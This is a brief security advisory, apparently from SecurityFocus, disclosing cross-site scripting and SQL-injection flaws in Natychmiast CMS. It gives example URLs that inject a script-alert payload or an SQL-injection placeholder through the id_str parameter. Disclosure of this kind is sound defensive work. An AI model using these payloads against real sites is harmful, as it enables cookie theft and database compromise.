source: https://www.securityfocus.com/bid/38561/info
Natychmiast CMS is prone to multiple cross-site scripting and SQL-injection vulnerabilities.
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
http://www.example.com/index.php?id_str=[SQLi]
http://www.example.com/a_index.php?id_str=[SQLi]
http://www.example.com/index.php?id_str='%22%3E%3Cscript%3Ealert(0x000024)%3C/script%3E
http://www.example.com/a_index.php?id_str='%22%3E%3Cscript%3Ealert(0x000024)%3C/script%3E